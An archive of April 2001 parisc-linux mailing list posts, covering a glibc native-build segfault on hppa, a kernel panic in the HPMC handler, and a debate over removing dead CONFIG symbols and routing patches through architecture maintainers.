> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:17:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Thienemann <andreas@thienemann.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems with glibc
Date: Fri, 20 Apr 2001 19:10:43 +0200 (CEST)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10104201906260.21140-100000@gate.ixs.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620055 18420 80.91.229.3 (22 Nov 2014 01:34:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:15 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 11:11:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from bender.bawue.de (bender.bawue.de [193.197.13.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5527F482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 11:11:02 -0600 (MDT)
Original-Received: from gate.ixs.com (p3EE05BCF.dip.t-dialin.net [62.224.91.207])
	by bender.bawue.de (Postfix) with ESMTP id 5A4E54828C
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 19:10:51 +0200 (CEST)
Original-Received: from localhost (andreas@localhost)
	by gate.ixs.com (8.9.3/8.9.3) with ESMTP id TAA21166
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 19:10:43 +0200
X-Sender: andreas@gate.ixs.com
Xref: news.gmane.org gmane.linux.ports.parisc:10847

Hi,

while trying to compile the current glibc snapshot from the puffin-cvs, make
segfaults:

make[2]: Entering directory `/mnt/lfs/usr/src/glibc/sunrpc'
/mnt/lfs/usr/src/glibc-build/elf/ld.so.1 --library-path
/mnt/lfs/usr/src/glibc-build:/mnt/lfs/usr/src/glibc-build/math:/mnt/lfs/usr/src/glibc-build/elf:/mnt/lfs/usr/src/glibc-build/dlfcn:/mnt/lfs/usr/src/glibc-build/nss:/mnt/lfs/usr/src/glibc-build/nis:/mnt/lfs/usr/src/glibc-build/rt:/mnt/lfs/usr/src/glibc-build/resolv:/mnt/lfs/usr/src/glibc-build/crypt:/mnt/lfs/usr/src/glibc-build/linuxthreads
/mnt/lfs/usr/src/glibc-build/sunrpc/rpcgen -Y `x=\`gcc
-print-file-name=cpp\`; test x$x = xcpp && x=\`which cpp\`; echo $x | sed
's,/cpp$,,'` -c rpcsvc/bootparam_prot.x -o
/mnt/lfs/usr/src/glibc-build/sunrpc/xbootparam_prot.T
make[2]: *** [/mnt/lfs/usr/src/glibc-build/sunrpc/xbootparam_prot.stmp]
Segmentation fault
make[2]: Leaving directory `/mnt/lfs/usr/src/glibc/sunrpc'
make[1]: *** [sunrpc/others] Error 2
make[1]: Leaving directory `/mnt/lfs/usr/src/glibc'
make: *** [all] Error 2

Has anyone ever experienced a similar problem? This segfault is
reproducable and it's the first time that happened. gcc did compile
correct, the same with the kernel itself.
Therefore I'd guess that glibc is at fault here.
This happened while building the glibc on the hppa box (with the
baseplus-20010404 nfsroot).
Building the cross-compiler toolchain which does include building glibc
was successful though.

Any ideas?

bye,
 andreas





From - Thu Nov 08 21:17:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Dike <jdike@karaya.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is 
 anyone paying attention?
Date: Fri, 20 Apr 2001 14:00:00 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <200104201900.OAA03252@ccure.karaya.com>
References: <20010420172126.C18464@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620055 18423 80.91.229.3 (22 Nov 2014 01:34:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:15 +0000 (UTC)
Cc: Bob McElrath <rsmcelrath@students.wisc.edu>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 11:47:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ccure.karaya.com (mnh-1-16.mv.com [207.22.10.48])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD8A7482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 11:47:37 -0600 (MDT)
Original-Received: from ccure (IDENT:jdike@ccure [127.0.0.1])
	by ccure.karaya.com (8.9.3/8.9.3) with ESMTP id OAA03252;
	Fri, 20 Apr 2001 14:00:00 -0500
X-Mailer: exmh version 2.0.2
Original-Cc: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
In-Reply-To: Your message of "Fri, 20 Apr 2001 17:21:26 +0100."
             <20010420172126.C18464@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:10848

matthew@wil.cx said:
> http://www.kernel.org/ has a list of architecture websites.  Also the
> CREDITS / MAINTAINERS files tend to list the people who are involved. 

Except it's restricted to processor ports, which would leave you not knowing 
about UML.

				Jeff






From - Thu Nov 08 21:17:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with glibc
Date: 20 Apr 2001 20:10:50 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <d3itjzfnmd.fsf@lxplus015.cern.ch>
References: <Pine.LNX.4.10.10104201906260.21140-100000@gate.ixs.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620055 18426 80.91.229.3 (22 Nov 2014 01:34:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:15 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Andreas Thienemann <andreas@thienemann.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 12:10:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.cern.ch (smtp1.cern.ch [137.138.128.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD6FE482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 12:10:53 -0600 (MDT)
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id UAA05928;
	Fri, 20 Apr 2001 20:10:51 +0200 (MET DST)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id UAA10141;
	Fri, 20 Apr 2001 20:10:50 +0200
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Andreas Thienemann's message of "Fri, 20 Apr 2001 19:10:43 +0200 (CEST)"
Original-Lines: 18
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:10849

>>>>> "Andreas" == Andreas Thienemann <andreas@thienemann.net> writes:

Andreas> Has anyone ever experienced a similar problem? This segfault
Andreas> is reproducable and it's the first time that happened. gcc
Andreas> did compile correct, the same with the kernel itself.
Andreas> Therefore I'd guess that glibc is at fault here.  This
Andreas> happened while building the glibc on the hppa box (with the
Andreas> baseplus-20010404 nfsroot).  Building the cross-compiler
Andreas> toolchain which does include building glibc was successful
Andreas> though.

You don't see it when cross compiling because this is only run when
building natively. The sunrpc stuff is the first place where the newly
generated dynamic linker is exercised, your cross compiled binaries
are unlike to work either. The can be either a glibc (most likely
ld.so) or due to a change in syscall or compiler ABI behavior.

Jes




From - Thu Nov 08 21:17:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic using cpio from cdrom to disk.
Date: Fri, 20 Apr 2001 12:07:14 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <200104201807.MAA31270@puffin.external.hp.com>
References: <20010420175749.M11226@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620056 18430 80.91.229.3 (22 Nov 2014 01:34:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:16 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 12:14:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1116D482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 12:14:28 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA31270;
	Fri, 20 Apr 2001 12:07:14 -0600
In-Reply-To: Your message of "Fri, 20 Apr 2001 17:57:49 BST."
             <20010420175749.M11226@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10850

Richard Hirst wrote:
> This is interesting, my tests worked fine, but when I tried to reboot
> (typed 'init 6'), it blew up:

was in-mem data being sync'd to disk?

> Like Ryans crash, PSW has only the Q bit set - data translation is
> turned off.  I guess that means the IAOQ values are real addresses, so I
> added 0x10000000 before looking them up in System.map.  In my case, it
> died on the "rsm 8,r0" under os_hpmc_5 in arch/parisc/kernel/hpmc.S.

That would suggest two things:
1) the box HPMC'd in both cases - look at PIM dump for more info
2) we have a bug in our HPMC handler that PDC tries to call (in real mode).
   Perhaps one of the asm gods (or even demi-gods :^) could look at
   hpmc.S and the path to get there.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom Rini <trini@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 11:20:42 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20010420112042.Z13403@opus.bloom.county>
References: <20010420085148.V13403@opus.bloom.county> <Pine.LNX.4.33.0104201206250.12186-100000@xanadu.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620056 18435 80.91.229.3 (22 Nov 2014 01:34:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:16 +0000 (UTC)
Cc: "Eric S. Raymond" <esr@thyrsus.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Nicolas Pitre <nico@cam.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 12:22:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from opus.bloom.county (cpe-24-221-152-185.az.sprintbbd.net [24.221.152.185])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7EDF482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 12:22:47 -0600 (MDT)
Original-Received: (from tmrini@localhost)
        by opus.bloom.county (8.12.0.Beta7/8.12.0.Beta7/Debian 8.12.0.Beta7-1) id f3KIKgXs000931;
	Fri, 20 Apr 2001 11:20:42 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <Pine.LNX.4.33.0104201206250.12186-100000@xanadu.home>; from nico@cam.org on Fri, Apr 20, 2001 at 12:35:12PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:10851

On Fri, Apr 20, 2001 at 12:35:12PM -0400, Nicolas Pitre wrote:

> There is kind of a ridiculous situation here where people want to withhold
> their own changes in their own trees for all good reasons until it is mature
> and stable enough to be fed upstream in the appropriate way, while insisting
> for Linus' tree to remain incomplete and inconsistent.  And we're not
> talking about deep architectural changes here -- only about configure
> symbols and help text.

The answer is simple, noise.

> Why not having everybody's tree consistent with themselves and have whatever
> CONFIGURE_* symbols and help text be merged along with the very code it
> refers to?  It's worthless to have config symbols be merged into Linus' or
> Alan's tree if the code isn't there (yet).  It simply makes no sense.

Well, this depends a lot on a) The project to be merged (arch, mtd, whatever)
and b) how far something has gotten in being merged someplace else, and of
course c) the maintainer(s).  Whatever the exact case, and in general, it 
should be handled via the maintainer.  Why? They maintain the code.

-- 
Tom Rini (TR1265)
http://gate.crashing.org/~trini/




From - Thu Nov 08 21:17:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 19:47:02 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010420194702.E18464@parcelfarce.linux.theplanet.co.uk>
References: <20010420172126.C18464@parcelfarce.linux.theplanet.co.uk> <200104201900.OAA03252@ccure.karaya.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620056 18436 80.91.229.3 (22 Nov 2014 01:34:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:16 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: Jeff Dike <jdike@karaya.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 12:47:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DBB3D482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 12:47:06 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14qfvq-0001Ss-00; Fri, 20 Apr 2001 19:47:02 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200104201900.OAA03252@ccure.karaya.com>; from jdike@karaya.com on Fri, Apr 20, 2001 at 02:00:00PM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10852

On Fri, Apr 20, 2001 at 02:00:00PM -0500, Jeff Dike wrote:
> matthew@wil.cx said:
> > http://www.kernel.org/ has a list of architecture websites.  Also the
> > CREDITS / MAINTAINERS files tend to list the people who are involved. 
> 
> Except it's restricted to processor ports, which would leave you not knowing 
> about UML.

Have you tried mailing webmaster@kernel.org and asking to be added?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicolas Pitre <nico@cam.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is
 anyone paying attention?
Date: Fri, 20 Apr 2001 14:48:18 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0104201440580.12186-100000@xanadu.home>
References: <20010420112042.Z13403@opus.bloom.county>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620056 18437 80.91.229.3 (22 Nov 2014 01:34:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:16 +0000 (UTC)
Cc: "Eric S. Raymond" <esr@thyrsus.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, <parisc-linux@parisc-linux.org>
To: Tom Rini <trini@kernel.crashing.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 12:49:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from xanadu.home (modemcable084.137-200-24.mtl.mc.videotron.ca [24.200.137.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2B8E482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 12:49:48 -0600 (MDT)
Original-Received: from localhost (nico@localhost)
	by xanadu.home (8.9.3/8.9.3) with ESMTP id OAA26540;
	Fri, 20 Apr 2001 14:48:18 -0400
X-Authentication-Warning: xanadu.home: nico owned process doing -bs
X-X-Sender: <nico@xanadu.home>
In-Reply-To: <20010420112042.Z13403@opus.bloom.county>
Xref: news.gmane.org gmane.linux.ports.parisc:10853


On Fri, 20 Apr 2001, Tom Rini wrote:

> On Fri, Apr 20, 2001 at 12:35:12PM -0400, Nicolas Pitre wrote:
>
> > Why not having everybody's tree consistent with themselves and have whatever
> > CONFIGURE_* symbols and help text be merged along with the very code it
> > refers to?  It's worthless to have config symbols be merged into Linus' or
> > Alan's tree if the code isn't there (yet).  It simply makes no sense.
>
> Well, this depends a lot on a) The project to be merged (arch, mtd, whatever)
> and b) how far something has gotten in being merged someplace else, and of
> course c) the maintainer(s).  Whatever the exact case, and in general, it
> should be handled via the maintainer.  Why? They maintain the code.

Therefore it's the maintainer's job to submit coherent patches and accept to
see inconsistent CONFIG_* references be removed from the official tree until
further patch submission is due.  It's only a question of discipline.
Otherwise how can you distinguish between dead wood which must be removed
and potentially valid symbols referring to code existing only in a remote
tree?


Nicolas





From - Thu Nov 08 21:17:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is  anyone paying attention?
Date: 20 Apr 2001 20:53:32 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <d3elunfln7.fsf@lxplus015.cern.ch>
References: <200104201900.OAA03252@ccure.karaya.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620057 18442 80.91.229.3 (22 Nov 2014 01:34:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:17 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	Bob McElrath <rsmcelrath@students.wisc.edu>,
	linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: Jeff Dike <jdike@karaya.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 12:54:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.cern.ch (smtp1.cern.ch [137.138.128.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1D78482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 12:54:45 -0600 (MDT)
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id UAA18558;
	Fri, 20 Apr 2001 20:53:32 +0200 (MET DST)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id UAA22138;
	Fri, 20 Apr 2001 20:53:32 +0200
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Jeff Dike's message of "Fri, 20 Apr 2001 14:00:00 -0500"
Original-Lines: 14
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:10854

>>>>> "Jeff" == Jeff Dike <jdike@karaya.com> writes:

Jeff> matthew@wil.cx said:
>> http://www.kernel.org/ has a list of architecture websites.  Also
>> the CREDITS / MAINTAINERS files tend to list the people who are
>> involved.

Jeff> Except it's restricted to processor ports, which would leave you
Jeff> not knowing about UML.

I'd be highly surprised if they said no to adding UML to the list if
you mailed them a request to update the page.

Jes




From - Thu Nov 08 21:17:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 19:50:04 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20010420195004.A5510@flint.arm.linux.org.uk>
References: <20010420101951.A6011@thyrsus.com> <E14qc9E-0001PW-00@the-village.bc.nu> <20010420105934.A6668@thyrsus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620057 18444 80.91.229.3 (22 Nov 2014 01:34:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:17 +0000 (UTC)
To: "Eric S. Raymond" <esr@thyrsus.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 12:54:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 516A6482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 12:54:52 -0600 (MDT)
Original-Received: from dyn-33.linux.theplanet.co.uk ([195.92.244.33] helo=caramon.arm.linux.org.uk)
	by www.linux.org.uk with esmtp (Exim 3.13 #1)
	id 14qfyo-0001W1-00; Fri, 20 Apr 2001 19:50:06 +0100
Original-Received: from flint.arm.linux.org.uk (IDENT:root@flint.arm.linux.org.uk [192.168.0.4])
	by caramon.arm.linux.org.uk (8.11.0/8.11.0) with ESMTP id f3KIo5b01850;
	Fri, 20 Apr 2001 19:50:05 +0100
Original-Received: (from rmk@localhost)
	by flint.arm.linux.org.uk (8.11.0/8.11.0) id f3KIo4s06295;
	Fri, 20 Apr 2001 19:50:04 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010420105934.A6668@thyrsus.com>; from esr@thyrsus.com on Fri, Apr 20, 2001 at 10:59:34AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:10855

On Fri, Apr 20, 2001 at 10:59:34AM -0400, Eric S. Raymond wrote:
> All right then.  I'm going to send you a bunch of dead-symbol cleanup
> patches.  I'll try to stay in the mainline code and out of the port
> trees.  Would you please do me the kindness of telling me which ones
> can go in and which ones you think have to go through maintainers?

>From my point of view, I'd be happy if stuff that touched the ARM tree
directly was sent separately from the other architectures, and actually
was copied to me.  I'm sure that the other architecture maintainers
feel the same way, but I'll let them comment separately.

Why?  Well:

- Firstly, I can apply your patch directly to my tree without having
  to bother about the effects in the other architecture trees.  (hence
  when I resync with Linus or Alan, I don't have to go around fixing
  up rejects in other architecture trees).

- Secondly, its very easy to miss stuff in the lkml hunk of email each
  day when you have less than 4 hours to read it and think about it.
  (note that architecture maintainers have to read mail from their
  side which may not be on lkml, think about that, think about bug fixes,
  possible impacts of fixes on other machines, etc etc).  Therefore,
  copying their email address registered in the MAINTAINER file means
  that they should not overlook your patch.

- I know that Alan does take lots of patches off lkml, but I'm not sure
  what his criterion is for selecting them.  In the case which started
  this thread off, I'm always worried that your cleanup patch would make
  it in, and then cause me problems later on.

--
Russell King (rmk@arm.linux.org.uk)                The developer of ARM Linux
             http://www.arm.linux.org.uk/personal/aboutme.html





From - Thu Nov 08 21:17:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom Rini <trini@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 11:55:01 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20010420115501.A13403@opus.bloom.county>
References: <20010420112042.Z13403@opus.bloom.county> <Pine.LNX.4.33.0104201440580.12186-100000@xanadu.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620057 18445 80.91.229.3 (22 Nov 2014 01:34:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:17 +0000 (UTC)
Cc: "Eric S. Raymond" <esr@thyrsus.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Nicolas Pitre <nico@cam.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 12:57:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from onet2.cup.hp.com (onet2.cup.hp.com [15.255.208.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id BBA1E482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 12:57:04 -0600 (MDT)
Original-Received: from opus.bloom.county (cpe-24-221-152-185.az.sprintbbd.net [24.221.152.185])
	by onet2.cup.hp.com (Postfix) with ESMTP id D10B218D11
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 11:57:01 -0700 (PDT)
Original-Received: (from tmrini@localhost)
        by opus.bloom.county (8.12.0.Beta7/8.12.0.Beta7/Debian 8.12.0.Beta7-1) id f3KIt1tl001035;
	Fri, 20 Apr 2001 11:55:01 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <Pine.LNX.4.33.0104201440580.12186-100000@xanadu.home>; from nico@cam.org on Fri, Apr 20, 2001 at 02:48:18PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:10856

On Fri, Apr 20, 2001 at 02:48:18PM -0400, Nicolas Pitre wrote:
> 
> 
> On Fri, 20 Apr 2001, Tom Rini wrote:
> 
> > On Fri, Apr 20, 2001 at 12:35:12PM -0400, Nicolas Pitre wrote:
> >
> > > Why not having everybody's tree consistent with themselves and have whatever
> > > CONFIGURE_* symbols and help text be merged along with the very code it
> > > refers to?  It's worthless to have config symbols be merged into Linus' or
> > > Alan's tree if the code isn't there (yet).  It simply makes no sense.
> >
> > Well, this depends a lot on a) The project to be merged (arch, mtd, whatever)
> > and b) how far something has gotten in being merged someplace else, and of
> > course c) the maintainer(s).  Whatever the exact case, and in general, it
> > should be handled via the maintainer.  Why? They maintain the code.
> 
> Therefore it's the maintainer's job to submit coherent patches and accept to
> see inconsistent CONFIG_* references be removed from the official tree until
> further patch submission is due.  It's only a question of discipline.
> Otherwise how can you distinguish between dead wood which must be removed
> and potentially valid symbols referring to code existing only in a remote
> tree?

Er, I think we agree, but I'm not sure. :)
The only people who actually know the difference between dead wood and partily
merged code are the maintainers.  IMHO it's silly to remove a piece of code
like:
#ifdef CONFIG_SOMETHING_NOT_MERGED
...
#endif
If the rest of the code, which would make the above useful is heading toward
Linus.

-- 
Tom Rini (TR1265)
http://gate.crashing.org/~trini/




From - Thu Nov 08 21:17:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
